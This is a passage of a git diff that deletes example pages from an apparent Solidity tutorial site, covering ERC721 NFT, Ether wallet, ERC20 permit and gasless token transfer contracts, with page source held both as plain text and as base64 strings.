-    event Transfer(address indexed from, address indexed to, uint indexed id);
-    event Approval(address indexed owner, address indexed spender, uint indexed id);
-    event ApprovalForAll(
-        address indexed owner,
-        address indexed operator,
-        bool approved
-    );
-
-    // Mapping from token ID to owner address
-    mapping(uint => address) internal _ownerOf;
-
-    // Mapping owner address to token count
-    mapping(address => uint) internal _balanceOf;
-
-    // Mapping from token ID to approved address
-    mapping(uint => address) internal _approvals;
-
-    // Mapping from owner to operator approvals
-    mapping(address => mapping(address => bool)) public isApprovedForAll;
-
-    function supportsInterface(bytes4 interfaceId) external pure returns (bool) {
-        return
-            interfaceId == type(IERC721).interfaceId ||
-            interfaceId == type(IERC165).interfaceId;
-    }
-
-    function ownerOf(uint id) external view returns (address owner) {
-        owner = _ownerOf[id];
-        require(owner != address(0), "token doesn't exist");
-    }
-
-    function balanceOf(address owner) external view returns (uint) {
-        require(owner != address(0), "owner = zero address");
-        return _balanceOf[owner];
-    }
-
-    function setApprovalForAll(address operator, bool approved) external {
-        isApprovedForAll[msg.sender][operator] = approved;
-        emit ApprovalForAll(msg.sender, operator, approved);
-    }
-
-    function approve(address spender, uint id) external {
-        address owner = _ownerOf[id];
-        require(
-            msg.sender == owner || isApprovedForAll[owner][msg.sender],
-            "not authorized"
-        );
-
-        _approvals[id] = spender;
-
-        emit Approval(owner, spender, id);
-    }
-
-    function getApproved(uint id) external view returns (address) {
-        require(_ownerOf[id] != address(0), "token doesn't exist");
-        return _approvals[id];
-    }
-
-    function _isApprovedOrOwner(
-        address owner,
-        address spender,
-        uint id
-    ) internal view returns (bool) {
-        return (spender == owner ||
-            isApprovedForAll[owner][spender] ||
-            spender == _approvals[id]);
-    }
-
-    function transferFrom(address from, address to, uint id) public {
-        require(from == _ownerOf[id], "from != owner");
-        require(to != address(0), "transfer to zero address");
-
-        require(_isApprovedOrOwner(from, msg.sender, id), "not authorized");
-
-        _balanceOf[from]--;
-        _balanceOf[to]++;
-        _ownerOf[id] = to;
-
-        delete _approvals[id];
-
-        emit Transfer(from, to, id);
-    }
-
-    function safeTransferFrom(address from, address to, uint id) external {
-        transferFrom(from, to, id);
-
-        require(
-            to.code.length == 0 ||
-                IERC721Receiver(to).onERC721Received(msg.sender, from, id, "") ==
-                IERC721Receiver.onERC721Received.selector,
-            "unsafe recipient"
-        );
-    }
-
-    function safeTransferFrom(
-        address from,
-        address to,
-        uint id,
-        bytes calldata data
-    ) external {
-        transferFrom(from, to, id);
-
-        require(
-            to.code.length == 0 ||
-                IERC721Receiver(to).onERC721Received(msg.sender, from, id, data) ==
-                IERC721Receiver.onERC721Received.selector,
-            "unsafe recipient"
-        );
-    }
-
-    function _mint(address to, uint id) internal {
-        require(to != address(0), "mint to zero address");
-        require(_ownerOf[id] == address(0), "already minted");
-
-        _balanceOf[to]++;
-        _ownerOf[id] = to;
-
-        emit Transfer(address(0), to, id);
-    }
-
-    function _burn(uint id) internal {
-        address owner = _ownerOf[id];
-        require(owner != address(0), "not minted");
-
-        _balanceOf[owner] -= 1;
-
-        delete _ownerOf[id];
-        delete _approvals[id];
-
-        emit Transfer(owner, address(0), id);
-    }
-}
-
-contract MyNFT is ERC721 {
-    function mint(address to, uint id) external {
-        _mint(to, id);
-    }
-
-    function burn(uint id) external {
-        require(msg.sender == _ownerOf[id], "not owner");
-        _burn(id);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/erc721/index.md b/src/pages/app/erc721/index.md deleted file mode 100644 index 22a230921..000000000 --- a/src/pages/app/erc721/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: ERC721 -version: 0.8.20 -description: Example of ERC721 non fungible token in Solidity -keywords: [app, application, erc721, ierc721, nft] ---- - -Example of ERC721 - -```solidity -{{{ERC721}}} -``` diff --git a/src/pages/app/erc721/index.tsx b/src/pages/app/erc721/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/erc721/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/ether-wallet/EtherWallet.sol b/src/pages/app/ether-wallet/EtherWallet.sol deleted file mode 100644 index 38e95b2a5..000000000 --- a/src/pages/app/ether-wallet/EtherWallet.sol +++ /dev/null @@ -1,21 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract EtherWallet { - address payable public owner; - - constructor() { - owner = payable(msg.sender); - } - - receive() external payable {} - - function withdraw(uint _amount) external { - require(msg.sender == owner, "caller is not owner"); - payable(msg.sender).transfer(_amount); - } - - function getBalance() external view returns (uint) { - return address(this).balance; - } -} diff --git a/src/pages/app/ether-wallet/index.html.ts b/src/pages/app/ether-wallet/index.html.ts deleted file mode 100644 index 1add44c35..000000000 --- a/src/pages/app/ether-wallet/index.html.ts +++ /dev/null @@ -1,43 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Ether Wallet" -export const description = "Simple example of wallet in Solidity" - -export const keywords = ["app", "application", "ether", "eth", "wallet"] - -export const codes = [ - { - fileName: "EtherWallet.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEV0aGVyV2FsbGV0IHsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgb3duZXI7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IG93bmVyLCAiY2FsbGVyIGlzIG5vdCBvd25lciIpOwogICAgICAgIHBheWFibGUobXNnLnNlbmRlcikudHJhbnNmZXIoX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0QmFsYW5jZSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhZGRyZXNzKHRoaXMpLmJhbGFuY2U7CiAgICB9Cn0K", - }, -] - -const html = `

An example of a basic wallet.

-
    -
  • Anyone can send ETH.
  • -
  • Only the owner can withdraw.
  • -
-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract EtherWallet {
-    address payable public owner;
-
-    constructor() {
-        owner = payable(msg.sender);
-    }
-
-    receive() external payable {}
-
-    function withdraw(uint _amount) external {
-        require(msg.sender == owner, "caller is not owner");
-        payable(msg.sender).transfer(_amount);
-    }
-
-    function getBalance() external view returns (uint) {
-        return address(this).balance;
-    }
-}
-
` - -export default html diff --git a/src/pages/app/ether-wallet/index.md b/src/pages/app/ether-wallet/index.md deleted file mode 100644 index 14ec812a5..000000000 --- a/src/pages/app/ether-wallet/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Ether Wallet -version: 0.8.20 -description: Simple example of wallet in Solidity -keywords: [app, application, ether, eth, wallet] ---- - -An example of a basic wallet. - -- Anyone can send ETH. -- Only the owner can withdraw. - -```solidity -{{{EtherWallet}}} -``` diff --git a/src/pages/app/ether-wallet/index.tsx b/src/pages/app/ether-wallet/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/ether-wallet/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/gasless-token-transfer/ERC20Permit.sol b/src/pages/app/gasless-token-transfer/ERC20Permit.sol deleted file mode 100644 index f0e7c7655..000000000 --- a/src/pages/app/gasless-token-transfer/ERC20Permit.sol +++ /dev/null @@ -1,223 +0,0 @@ -// SPDX-License-Identifier: AGPL-3.0-only -pragma solidity >=0.8.0; - -/// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. -/// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) -/// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) -/// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. -abstract contract ERC20 { - /*////////////////////////////////////////////////////////////// - EVENTS - //////////////////////////////////////////////////////////////*/ - - event Transfer(address indexed from, address indexed to, uint256 amount); - - event Approval(address indexed owner, address indexed spender, uint256 amount); - - /*////////////////////////////////////////////////////////////// - METADATA STORAGE - //////////////////////////////////////////////////////////////*/ - - string public name; - - string public symbol; - - uint8 public immutable decimals; - - /*////////////////////////////////////////////////////////////// - ERC20 STORAGE - //////////////////////////////////////////////////////////////*/ - - uint256 public totalSupply; - - mapping(address => uint256) public balanceOf; - - mapping(address => mapping(address => uint256)) public allowance; - - /*////////////////////////////////////////////////////////////// - EIP-2612 STORAGE - //////////////////////////////////////////////////////////////*/ - - uint256 internal immutable INITIAL_CHAIN_ID; - - bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; - - mapping(address => uint256) public nonces; - - /*////////////////////////////////////////////////////////////// - CONSTRUCTOR - //////////////////////////////////////////////////////////////*/ - - constructor(string memory _name, string memory _symbol, uint8 _decimals) { - name = _name; - symbol = _symbol; - decimals = _decimals; - - INITIAL_CHAIN_ID = block.chainid; - INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); - } - - /*////////////////////////////////////////////////////////////// - ERC20 LOGIC - //////////////////////////////////////////////////////////////*/ - - function approve(address spender, uint256 amount) public virtual returns (bool) { - allowance[msg.sender][spender] = amount; - - emit Approval(msg.sender, spender, amount); - - return true; - } - - function transfer(address to, uint256 amount) public virtual returns (bool) { - balanceOf[msg.sender] -= amount; - - // Cannot overflow because the sum of all user - // balances can't exceed the max uint256 value. - unchecked { - balanceOf[to] += amount; - } - - emit Transfer(msg.sender, to, amount); - - return true; - } - - function transferFrom( - address from, - address to, - uint256 amount - ) public virtual returns (bool) { - uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. - - if (allowed != type(uint256).max) - allowance[from][msg.sender] = allowed - amount; - - balanceOf[from] -= amount; - - // Cannot overflow because the sum of all user - // balances can't exceed the max uint256 value. - unchecked { - balanceOf[to] += amount; - } - - emit Transfer(from, to, amount); - - return true; - } - - /*////////////////////////////////////////////////////////////// - EIP-2612 LOGIC - //////////////////////////////////////////////////////////////*/ - - function permit( - address owner, - address spender, - uint256 value, - uint256 deadline, - uint8 v, - bytes32 r, - bytes32 s - ) public virtual { - require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); - - // Unchecked because the only math done is incrementing - // the owner's nonce which cannot realistically overflow. - unchecked { - address recoveredAddress = ecrecover( - keccak256( - abi.encodePacked( - "\x19\x01", - DOMAIN_SEPARATOR(), - keccak256( - abi.encode( - keccak256( - "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" - ), - owner, - spender, - value, - nonces[owner]++, - deadline - ) - ) - ) - ), - v, - r, - s - ); - - require( - recoveredAddress != address(0) && recoveredAddress == owner, - "INVALID_SIGNER" - ); - - allowance[recoveredAddress][spender] = value; - } - - emit Approval(owner, spender, value); - } - - function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { - return - block.chainid == INITIAL_CHAIN_ID - ? INITIAL_DOMAIN_SEPARATOR - : computeDomainSeparator(); - } - - function computeDomainSeparator() internal view virtual returns (bytes32) { - return - keccak256( - abi.encode( - keccak256( - "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" - ), - keccak256(bytes(name)), - keccak256("1"), - block.chainid, - address(this) - ) - ); - } - - /*////////////////////////////////////////////////////////////// - INTERNAL MINT/BURN LOGIC - //////////////////////////////////////////////////////////////*/ - - function _mint(address to, uint256 amount) internal virtual { - totalSupply += amount; - - // Cannot overflow because the sum of all user - // balances can't exceed the max uint256 value. - unchecked { - balanceOf[to] += amount; - } - - emit Transfer(address(0), to, amount); - } - - function _burn(address from, uint256 amount) internal virtual { - balanceOf[from] -= amount; - - // Cannot underflow because a user's balance - // will never be larger than the total supply. - unchecked { - totalSupply -= amount; - } - - emit Transfer(from, address(0), amount); - } -} - -contract ERC20Permit is ERC20 { - constructor( - string memory _name, - string memory _symbol, - uint8 _decimals - ) ERC20(_name, _symbol, _decimals) {} - - function mint(address to, uint256 amount) public { - _mint(to, amount); - } -} diff --git a/src/pages/app/gasless-token-transfer/GaslessTokenTransfer.sol b/src/pages/app/gasless-token-transfer/GaslessTokenTransfer.sol deleted file mode 100644 index 144598f70..000000000 --- a/src/pages/app/gasless-token-transfer/GaslessTokenTransfer.sol +++ /dev/null @@ -1,63 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.18; - -interface IERC20Permit { - function totalSupply() external view returns (uint256); - - function balanceOf(address account) external view returns (uint256); - - function transfer(address recipient, uint256 amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint256); - - function approve(address spender, uint256 amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint256 amount - ) external returns (bool); - - function permit( - address owner, - address spender, - uint256 value, - uint256 deadline, - uint8 v, - bytes32 r, - bytes32 s - ) external; - - event Transfer(address indexed from, address indexed to, uint256 value); - event Approval(address indexed owner, address indexed spender, uint256 value); -} - -contract GaslessTokenTransfer { - function send( - address token, - address sender, - address receiver, - uint256 amount, - uint256 fee, - uint256 deadline, - // Permit signature - uint8 v, - bytes32 r, - bytes32 s - ) external { - // Permit - IERC20Permit(token).permit( - sender, - address(this), - amount + fee, - deadline, - v, - r, - s - ); - // Send amount to receiver - IERC20Permit(token).transferFrom(sender, receiver, amount); - // Take fee - send fee to msg.sender - IERC20Permit(token).transferFrom(sender, msg.sender, fee); - } -} diff --git a/src/pages/app/gasless-token-transfer/index.html.ts b/src/pages/app/gasless-token-transfer/index.html.ts deleted file mode 100644 index cf5d08510..000000000 --- a/src/pages/app/gasless-token-transfer/index.html.ts +++ /dev/null @@ -1,317 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Gasless Token Transfer" -export const description = "Gasless ERC20 token transfer with Meta transaction" - -export const keywords = [ - "app", - "application", - "gasless", - "token", - "transfer", - "ERC20", - "permit", -] - -export const codes = [ - { - fileName: "ERC20Permit.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IEFHUEwtMy4wLW9ubHkKcHJhZ21hIHNvbGlkaXR5ID49MC44LjA7CgovLy8gQG5vdGljZSBNb2Rlcm4gYW5kIGdhcyBlZmZpY2llbnQgRVJDMjAgKyBFSVAtMjYxMiBpbXBsZW1lbnRhdGlvbi4KLy8vIEBhdXRob3IgU29sbWF0ZSAoaHR0cHM6Ly9naXRodWIuY29tL3RyYW5zbWlzc2lvbnMxMS9zb2xtYXRlL2Jsb2IvbWFpbi9zcmMvdG9rZW5zL0VSQzIwLnNvbCkKLy8vIEBhdXRob3IgTW9kaWZpZWQgZnJvbSBVbmlzd2FwIChodHRwczovL2dpdGh1Yi5jb20vVW5pc3dhcC91bmlzd2FwLXYyLWNvcmUvYmxvYi9tYXN0ZXIvY29udHJhY3RzL1VuaXN3YXBWMkVSQzIwLnNvbCkKLy8vIEBkZXYgRG8gbm90IG1hbnVhbGx5IHNldCBiYWxhbmNlcyB3aXRob3V0IHVwZGF0aW5nIHRvdGFsU3VwcGx5LCBhcyB0aGUgc3VtIG9mIGFsbCB1c2VyIGJhbGFuY2VzIG11c3Qgbm90IGV4Y2VlZCBpdC4KYWJzdHJhY3QgY29udHJhY3QgRVJDMjAgewogICAgLyovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFVkVOVFMKICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vKi8KCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CgogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludDI1NiBhbW91bnQpOwoKICAgIC8qLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIE1FVEFEQVRBIFNUT1JBR0UKICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vKi8KCiAgICBzdHJpbmcgcHVibGljIG5hbWU7CgogICAgc3RyaW5nIHB1YmxpYyBzeW1ib2w7CgogICAgdWludDggcHVibGljIGltbXV0YWJsZSBkZWNpbWFsczsKCiAgICAvKi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVSQzIwIFNUT1JBR0UKICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vKi8KCiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIGJhbGFuY2VPZjsKCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpKSBwdWJsaWMgYWxsb3dhbmNlOwoKICAgIC8qLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVJUC0yNjEyIFNUT1JBR0UKICAgIC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vKi8KCiAgICB1aW50MjU2IGludGVybmFsIGltbXV0YWJsZSBJTklUSUFMX0NIQUlOX0lEOwoKICAgIGJ5dGVzMzIgaW50ZXJuYWwgaW1tdXRhYmxlIElOSVRJQUxfRE9NQUlOX1NFUEFSQVRPUjsKCiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1NikgcHVibGljIG5vbmNlczsKCiAgICAvKi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDT05TVFJVQ1RPUgogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGNvbnN0cnVjdG9yKHN0cmluZyBtZW1vcnkgX25hbWUsIHN0cmluZyBtZW1vcnkgX3N5bWJvbCwgdWludDggX2RlY2ltYWxzKSB7CiAgICAgICAgbmFtZSA9IF9uYW1lOwogICAgICAgIHN5bWJvbCA9IF9zeW1ib2w7CiAgICAgICAgZGVjaW1hbHMgPSBfZGVjaW1hbHM7CgogICAgICAgIElOSVRJQUxfQ0hBSU5fSUQgPSBibG9jay5jaGFpbmlkOwogICAgICAgIElOSVRJQUxfRE9NQUlOX1NFUEFSQVRPUiA9IGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKTsKICAgIH0KCiAgICAvKi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFUkMyMCBMT0dJQwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHZpcnR1YWwgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGFsbG93YW5jZVttc2cuc2VuZGVyXVtzcGVuZGVyXSA9IGFtb3VudDsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChtc2cuc2VuZGVyLCBzcGVuZGVyLCBhbW91bnQpOwoKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgcHVibGljIHZpcnR1YWwgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBhbW91bnQ7CgogICAgICAgIC8vIENhbm5vdCBvdmVyZmxvdyBiZWNhdXNlIHRoZSBzdW0gb2YgYWxsIHVzZXIKICAgICAgICAvLyBiYWxhbmNlcyBjYW4ndCBleGNlZWQgdGhlIG1heCB1aW50MjU2IHZhbHVlLgogICAgICAgIHVuY2hlY2tlZCB7CiAgICAgICAgICAgIGJhbGFuY2VPZlt0b10gKz0gYW1vdW50OwogICAgICAgIH0KCiAgICAgICAgZW1pdCBUcmFuc2Zlcihtc2cuc2VuZGVyLCB0bywgYW1vdW50KTsKCiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgYW1vdW50CiAgICApIHB1YmxpYyB2aXJ0dWFsIHJldHVybnMgKGJvb2wpIHsKICAgICAgICB1aW50MjU2IGFsbG93ZWQgPSBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl07IC8vIFNhdmVzIGdhcyBmb3IgbGltaXRlZCBhcHByb3ZhbHMuCgogICAgICAgIGlmIChhbGxvd2VkICE9IHR5cGUodWludDI1NikubWF4KQogICAgICAgICAgICBhbGxvd2FuY2VbZnJvbV1bbXNnLnNlbmRlcl0gPSBhbGxvd2VkIC0gYW1vdW50OwoKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwoKICAgICAgICAvLyBDYW5ub3Qgb3ZlcmZsb3cgYmVjYXVzZSB0aGUgc3VtIG9mIGFsbCB1c2VyCiAgICAgICAgLy8gYmFsYW5jZXMgY2FuJ3QgZXhjZWVkIHRoZSBtYXggdWludDI1NiB2YWx1ZS4KICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBiYWxhbmNlT2ZbdG9dICs9IGFtb3VudDsKICAgICAgICB9CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGFtb3VudCk7CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFSVAtMjYxMiBMT0dJQwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGZ1bmN0aW9uIHBlcm1pdCgKICAgICAgICBhZGRyZXNzIG93bmVyLAogICAgICAgIGFkZHJlc3Mgc3BlbmRlciwKICAgICAgICB1aW50MjU2IHZhbHVlLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUsCiAgICAgICAgdWludDggdiwKICAgICAgICBieXRlczMyIHIsCiAgICAgICAgYnl0ZXMzMiBzCiAgICApIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICByZXF1aXJlKGRlYWRsaW5lID49IGJsb2NrLnRpbWVzdGFtcCwgIlBFUk1JVF9ERUFETElORV9FWFBJUkVEIik7CgogICAgICAgIC8vIFVuY2hlY2tlZCBiZWNhdXNlIHRoZSBvbmx5IG1hdGggZG9uZSBpcyBpbmNyZW1lbnRpbmcKICAgICAgICAvLyB0aGUgb3duZXIncyBub25jZSB3aGljaCBjYW5ub3QgcmVhbGlzdGljYWxseSBvdmVyZmxvdy4KICAgICAgICB1bmNoZWNrZWQgewogICAgICAgICAgICBhZGRyZXNzIHJlY292ZXJlZEFkZHJlc3MgPSBlY3JlY292ZXIoCiAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgKICAgICAgICAgICAgICAgICAgICAgICAgIlx4MTlceDAxIiwKICAgICAgICAgICAgICAgICAgICAgICAgRE9NQUlOX1NFUEFSQVRPUigpLAogICAgICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYmkuZW5jb2RlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtlY2NhazI1NigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlBlcm1pdChhZGRyZXNzIG93bmVyLGFkZHJlc3Mgc3BlbmRlcix1aW50MjU2IHZhbHVlLHVpbnQyNTYgbm9uY2UsdWludDI1NiBkZWFkbGluZSkiCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvd25lciwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzcGVuZGVyLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG5vbmNlc1tvd25lcl0rKywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWFkbGluZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICAgICAgKQogICAgICAgICAgICAgICAgKSwKICAgICAgICAgICAgICAgIHYsCiAgICAgICAgICAgICAgICByLAogICAgICAgICAgICAgICAgcwogICAgICAgICAgICApOwoKICAgICAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgICAgIHJlY292ZXJlZEFkZHJlc3MgIT0gYWRkcmVzcygwKSAmJiByZWNvdmVyZWRBZGRyZXNzID09IG93bmVyLAogICAgICAgICAgICAgICAgIklOVkFMSURfU0lHTkVSIgogICAgICAgICAgICApOwoKICAgICAgICAgICAgYWxsb3dhbmNlW3JlY292ZXJlZEFkZHJlc3NdW3NwZW5kZXJdID0gdmFsdWU7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEFwcHJvdmFsKG93bmVyLCBzcGVuZGVyLCB2YWx1ZSk7CiAgICB9CgogICAgZnVuY3Rpb24gRE9NQUlOX1NFUEFSQVRPUigpIHB1YmxpYyB2aWV3IHZpcnR1YWwgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybgogICAgICAgICAgICBibG9jay5jaGFpbmlkID09IElOSVRJQUxfQ0hBSU5fSUQKICAgICAgICAgICAgICAgID8gSU5JVElBTF9ET01BSU5fU0VQQVJBVE9SCiAgICAgICAgICAgICAgICA6IGNvbXB1dGVEb21haW5TZXBhcmF0b3IoKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjb21wdXRlRG9tYWluU2VwYXJhdG9yKCkgaW50ZXJuYWwgdmlldyB2aXJ0dWFsIHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4KICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgYWJpLmVuY29kZSgKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoCiAgICAgICAgICAgICAgICAgICAgICAgICJFSVA3MTJEb21haW4oc3RyaW5nIG5hbWUsc3RyaW5nIHZlcnNpb24sdWludDI1NiBjaGFpbklkLGFkZHJlc3MgdmVyaWZ5aW5nQ29udHJhY3QpIgogICAgICAgICAgICAgICAgICAgICksCiAgICAgICAgICAgICAgICAgICAga2VjY2FrMjU2KGJ5dGVzKG5hbWUpKSwKICAgICAgICAgICAgICAgICAgICBrZWNjYWsyNTYoIjEiKSwKICAgICAgICAgICAgICAgICAgICBibG9jay5jaGFpbmlkLAogICAgICAgICAgICAgICAgICAgIGFkZHJlc3ModGhpcykKICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgKTsKICAgIH0KCiAgICAvKi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCiAgICAgICAgICAgICAgICAgICAgICAgIElOVEVSTkFMIE1JTlQvQlVSTiBMT0dJQwogICAgLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8qLwoKICAgIGZ1bmN